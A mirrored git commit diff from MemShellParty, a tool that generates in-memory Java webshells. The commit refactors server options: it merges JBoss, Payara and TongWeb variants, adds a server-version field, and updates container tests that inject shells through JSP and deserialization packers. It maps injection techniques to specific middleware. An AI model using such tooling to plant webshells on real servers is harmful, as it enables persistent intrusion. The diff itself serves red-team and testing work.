mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-24 07:51:52 +08:00
refactor: simplify server options
This commit is contained in:
@@ -0,0 +1,15 @@
|
|||||||
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/7/21
|
||||||
|
*/
|
||||||
|
public class GenerationException extends RuntimeException {
|
||||||
|
public GenerationException(String message) {
|
||||||
|
super(message);
|
||||||
|
}
|
||||||
|
|
||||||
|
public GenerationException(String message, Throwable cause) {
|
||||||
|
super(message, cause);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -27,17 +27,14 @@ public enum Server {
|
|||||||
*/
|
*/
|
||||||
Jetty(new JettyShell()),
|
Jetty(new JettyShell()),
|
||||||
/**
|
/**
|
||||||
* JBoss AS 中间件,JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
|
* JBoss 中间件,JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
|
||||||
*/
|
*/
|
||||||
JBossAS(new JbossShell()),
|
JBoss(new JbossShell()),
|
||||||
JBossEAP6(new JbossShell()),
|
|
||||||
/**
|
/**
|
||||||
* Undertow,对应是 Wildfly 以及 JBoss EAP,也有可能是 SpringBoot 用的
|
* Undertow,对应是 Wildfly 以及 JBossEAP7,也有可能是 SpringBoot 用的
|
||||||
* <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
|
* <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
|
||||||
*/
|
*/
|
||||||
Undertow(new UndertowShell()),
|
Undertow(new UndertowShell()),
|
||||||
JBossEAP7(new UndertowShell()),
|
|
||||||
WildFly(new UndertowShell()),
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* SpringMVC 框架
|
* SpringMVC 框架
|
||||||
@@ -68,25 +65,21 @@ public enum Server {
|
|||||||
* GlassFish 中间件
|
* GlassFish 中间件
|
||||||
*/
|
*/
|
||||||
GlassFish(new GlassFishShell()),
|
GlassFish(new GlassFishShell()),
|
||||||
Payara(new GlassFishShell()),
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 宝兰德中间件
|
* 宝兰德中间件,9.5.2+ 企业版
|
||||||
*/
|
*/
|
||||||
BES(new BesShell()),
|
BES(new BesShell()),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 东方通中间件
|
* 东方通中间件
|
||||||
*/
|
*/
|
||||||
TongWeb6(new TongWeb6Shell()),
|
TongWeb(new TongWebShell()),
|
||||||
TongWeb7(new TongWeb7Shell()),
|
|
||||||
TongWeb8(new TongWeb8Shell()),
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 金蝶天燕中间件
|
* 金蝶天燕中间件,only 9
|
||||||
*/
|
*/
|
||||||
Apusic9(new ApusicShell()),
|
Apusic(new ApusicShell()),
|
||||||
Apusic10(new GlassFishShell()),
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 中创中间件
|
* 中创中间件
|
||||||
|
|||||||
@@ -2,12 +2,12 @@ package com.reajason.javaweb.memshell.config;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
import lombok.Builder;
|
import lombok.Builder;
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
import lombok.NoArgsConstructor;
|
import lombok.NoArgsConstructor;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -21,17 +21,23 @@ public class ShellConfig {
|
|||||||
/**
|
/**
|
||||||
* 目标服务类型
|
* 目标服务类型
|
||||||
*/
|
*/
|
||||||
Server server;
|
private Server server;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 目标服务版本
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private String serverVersion = "unknown";
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 内存马功能
|
* 内存马功能
|
||||||
*/
|
*/
|
||||||
ShellTool shellTool;
|
private ShellTool shellTool;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 内存马类型
|
* 内存马类型
|
||||||
*/
|
*/
|
||||||
String shellType;
|
private String shellType;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 生成类的目标 JRE 版本
|
* 生成类的目标 JRE 版本
|
||||||
@@ -63,7 +69,7 @@ public class ShellConfig {
|
|||||||
|
|
||||||
|
|
||||||
public boolean isJakarta() {
|
public boolean isJakarta() {
|
||||||
return StringUtils.containsIgnoreCase(shellType, "jakarta");
|
return shellType.startsWith(ShellType.JAKARTA);
|
||||||
}
|
}
|
||||||
|
|
||||||
public boolean needByPassJavaModule() {
|
public boolean needByPassJavaModule() {
|
||||||
|
|||||||
+1
-1
@@ -43,7 +43,7 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
|
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
|
||||||
builder = ValveGenerator.build(builder, shell);
|
builder = ValveGenerator.build(builder, shell, shellConfig.getServerVersion());
|
||||||
}
|
}
|
||||||
|
|
||||||
if (shellConfig.isJakarta()) {
|
if (shellConfig.isJakarta()) {
|
||||||
|
|||||||
+11
-5
@@ -1,6 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.server.*;
|
import com.reajason.javaweb.GenerationException;
|
||||||
|
import com.reajason.javaweb.memshell.server.AbstractShell;
|
||||||
|
import com.reajason.javaweb.memshell.server.BesShell;
|
||||||
|
import com.reajason.javaweb.memshell.server.TongWebShell;
|
||||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||||
import net.bytebuddy.description.field.FieldDescription;
|
import net.bytebuddy.description.field.FieldDescription;
|
||||||
import net.bytebuddy.description.field.FieldList;
|
import net.bytebuddy.description.field.FieldList;
|
||||||
@@ -27,18 +30,21 @@ public class ValveGenerator {
|
|||||||
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
|
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
|
||||||
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
|
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
|
||||||
|
|
||||||
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractShell shell) {
|
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractShell shell, String serverVersion) {
|
||||||
String packageName = null;
|
String packageName = null;
|
||||||
if (shell instanceof TongWeb6Shell) {
|
if (serverVersion.equals("6")) {
|
||||||
packageName = TONGWEB6_VALVE_PACKAGE;
|
packageName = TONGWEB6_VALVE_PACKAGE;
|
||||||
} else if (shell instanceof TongWeb7Shell) {
|
} else if (serverVersion.equals("7")) {
|
||||||
packageName = TONGWEB7_VALVE_PACKAGE;
|
packageName = TONGWEB7_VALVE_PACKAGE;
|
||||||
} else if (shell instanceof TongWeb8Shell) {
|
} else if (serverVersion.equals("8")) {
|
||||||
packageName = TONGWEB8_VALVE_PACKAGE;
|
packageName = TONGWEB8_VALVE_PACKAGE;
|
||||||
} else if (shell instanceof BesShell) {
|
} else if (shell instanceof BesShell) {
|
||||||
packageName = BES_VALVE_PACKAGE;
|
packageName = BES_VALVE_PACKAGE;
|
||||||
}
|
}
|
||||||
if (StringUtils.isEmpty(packageName)) {
|
if (StringUtils.isEmpty(packageName)) {
|
||||||
|
if (shell instanceof TongWebShell) {
|
||||||
|
throw new GenerationException("serverVersion is needed for TongWeb valve shell, please use 6/7/8 for shellConfig.serverVersion");
|
||||||
|
}
|
||||||
return builder;
|
return builder;
|
||||||
}
|
}
|
||||||
return builder.visit(new ValveRenameVisitorWrapper(packageName));
|
return builder.visit(new ValveRenameVisitorWrapper(packageName));
|
||||||
|
|||||||
@@ -2,12 +2,10 @@ package com.reajason.javaweb.memshell.server;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishContextValveAgentInjector;
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishContextValveAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterChainAgentInjector;
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterChainAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.jboss.JbossProxyValveInjector;
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatProxyValveInjector;
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
@@ -27,8 +25,8 @@ public class JbossShell extends AbstractShell {
|
|||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, TomcatListenerInjector.class)
|
.addInjector(LISTENER, TomcatListenerInjector.class)
|
||||||
.addInjector(FILTER, TomcatFilterInjector.class)
|
.addInjector(FILTER, TomcatFilterInjector.class)
|
||||||
.addInjector(VALVE, JbossValveInjector.class)
|
.addInjector(VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(PROXY_VALVE, JbossProxyValveInjector.class)
|
.addInjector(PROXY_VALVE, TomcatProxyValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, GlassFishFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, GlassFishFilterChainAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, GlassFishContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, GlassFishContextValveAgentInjector.class)
|
||||||
.build();
|
.build();
|
||||||
|
|||||||
@@ -1,31 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.tongweb.*;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/27
|
|
||||||
*/
|
|
||||||
public class TongWeb7Shell extends AbstractShell {
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public Class<?> getListenerInterceptor() {
|
|
||||||
return TomcatShell.ListenerInterceptor.class;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
|
||||||
return InjectorMapping.builder()
|
|
||||||
.addInjector(LISTENER, TongWebListenerInjector.class)
|
|
||||||
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
|
|
||||||
.addInjector(FILTER, TongWebFilterInjector.class)
|
|
||||||
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
|
|
||||||
.addInjector(VALVE, TongWebValveInjector.class)
|
|
||||||
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
|
||||||
.build();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,31 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.tongweb.*;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/27
|
|
||||||
*/
|
|
||||||
public class TongWeb8Shell extends AbstractShell {
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public Class<?> getListenerInterceptor() {
|
|
||||||
return TomcatShell.ListenerInterceptor.class;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
|
||||||
return InjectorMapping.builder()
|
|
||||||
.addInjector(LISTENER, TongWebListenerInjector.class)
|
|
||||||
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
|
|
||||||
.addInjector(FILTER, TongWebFilterInjector.class)
|
|
||||||
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
|
|
||||||
.addInjector(VALVE, TongWebValveInjector.class)
|
|
||||||
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
|
||||||
.build();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+1
-4
@@ -8,7 +8,7 @@ import static com.reajason.javaweb.memshell.ShellType.*;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/26
|
* @since 2024/12/26
|
||||||
*/
|
*/
|
||||||
public class TongWeb6Shell extends AbstractShell {
|
public class TongWebShell extends AbstractShell {
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public Class<?> getListenerInterceptor() {
|
public Class<?> getListenerInterceptor() {
|
||||||
@@ -19,11 +19,8 @@ public class TongWeb6Shell extends AbstractShell {
|
|||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, TongWebListenerInjector.class)
|
.addInjector(LISTENER, TongWebListenerInjector.class)
|
||||||
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
|
|
||||||
.addInjector(FILTER, TongWebFilterInjector.class)
|
.addInjector(FILTER, TongWebFilterInjector.class)
|
||||||
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
|
|
||||||
.addInjector(VALVE, TongWebValveInjector.class)
|
.addInjector(VALVE, TongWebValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
||||||
.build();
|
.build();
|
||||||
@@ -110,8 +110,6 @@ public class CommonUtil {
|
|||||||
packageName = "org.eclipse.jetty.servlet.handlers";
|
packageName = "org.eclipse.jetty.servlet.handlers";
|
||||||
break;
|
break;
|
||||||
case Undertow:
|
case Undertow:
|
||||||
case JBossEAP7:
|
|
||||||
case WildFly:
|
|
||||||
packageName = "io.undertow.servlet.handlers";
|
packageName = "io.undertow.servlet.handlers";
|
||||||
break;
|
break;
|
||||||
case SpringWebMvc:
|
case SpringWebMvc:
|
||||||
|
|||||||
+3
-7
@@ -51,13 +51,9 @@ public class Jboss423ContainerTest {
|
|||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.JBossAS;
|
Server server = Server.JBoss;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER, ShellType.LISTENER,
|
ShellType.PROXY_VALVE
|
||||||
ShellType.VALVE,
|
|
||||||
ShellType.PROXY_VALVE,
|
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
@@ -72,6 +68,6 @@ public class Jboss423ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-2
@@ -50,7 +50,7 @@ public class Jboss510ContainerTest {
|
|||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.JBossAS;
|
Server server = Server.JBoss;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER, ShellType.LISTENER,
|
ShellType.FILTER, ShellType.LISTENER,
|
||||||
ShellType.VALVE,
|
ShellType.VALVE,
|
||||||
@@ -74,6 +74,6 @@ public class Jboss510ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-2
@@ -50,7 +50,7 @@ public class Jboss610ContainerTest {
|
|||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.JBossAS;
|
Server server = Server.JBoss;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER, ShellType.LISTENER,
|
ShellType.FILTER, ShellType.LISTENER,
|
||||||
ShellType.VALVE,
|
ShellType.VALVE,
|
||||||
@@ -71,6 +71,6 @@ public class Jboss610ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-2
@@ -53,7 +53,7 @@ public class Jboss711ContainerTest {
|
|||||||
* 找不到 Templates 类暂时先不测试反序列化
|
* 找不到 Templates 类暂时先不测试反序列化
|
||||||
*/
|
*/
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.JBossAS;
|
Server server = Server.JBoss;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER, ShellType.LISTENER,
|
ShellType.FILTER, ShellType.LISTENER,
|
||||||
ShellType.VALVE,
|
ShellType.VALVE,
|
||||||
@@ -74,6 +74,6 @@ public class Jboss711ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_7, packer, container, python);
|
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_7, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-2
@@ -50,7 +50,7 @@ public class JbossEap6ContainerTest {
|
|||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.JBossEAP6;
|
Server server = Server.JBoss;
|
||||||
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER,
|
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER,
|
||||||
ShellType.VALVE,
|
ShellType.VALVE,
|
||||||
ShellType.PROXY_VALVE,
|
ShellType.PROXY_VALVE,
|
||||||
@@ -68,6 +68,6 @@ public class JbossEap6ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.JBossEAP6, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-2
@@ -50,7 +50,7 @@ public class JbossEap7ContainerTest {
|
|||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.JBossEAP7;
|
Server server = Server.Undertow;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER,
|
ShellType.FILTER,
|
||||||
ShellType.LISTENER,
|
ShellType.LISTENER,
|
||||||
@@ -69,6 +69,6 @@ public class JbossEap7ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.JBossEAP7, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-2
@@ -50,7 +50,7 @@ public class Payara5201ContainerTest {
|
|||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.Payara;
|
Server server = Server.GlassFish;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
@@ -68,6 +68,6 @@ public class Payara5201ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-2
@@ -50,7 +50,7 @@ public class Payara520225ContainerTest {
|
|||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.Payara;
|
Server server = Server.GlassFish;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
@@ -68,6 +68,6 @@ public class Payara520225ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-2
@@ -50,7 +50,7 @@ public class Payara620222ContainerTest {
|
|||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.Payara;
|
Server server = Server.GlassFish;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
|
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
@@ -68,6 +68,6 @@ public class Payara620222ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V11, packer, container, python);
|
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V11, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
-208
@@ -1,208 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.jboss;
|
|
||||||
|
|
||||||
import java.io.ByteArrayInputStream;
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.lang.reflect.Field;
|
|
||||||
import java.lang.reflect.InvocationHandler;
|
|
||||||
import java.lang.reflect.Method;
|
|
||||||
import java.lang.reflect.Proxy;
|
|
||||||
import java.util.*;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
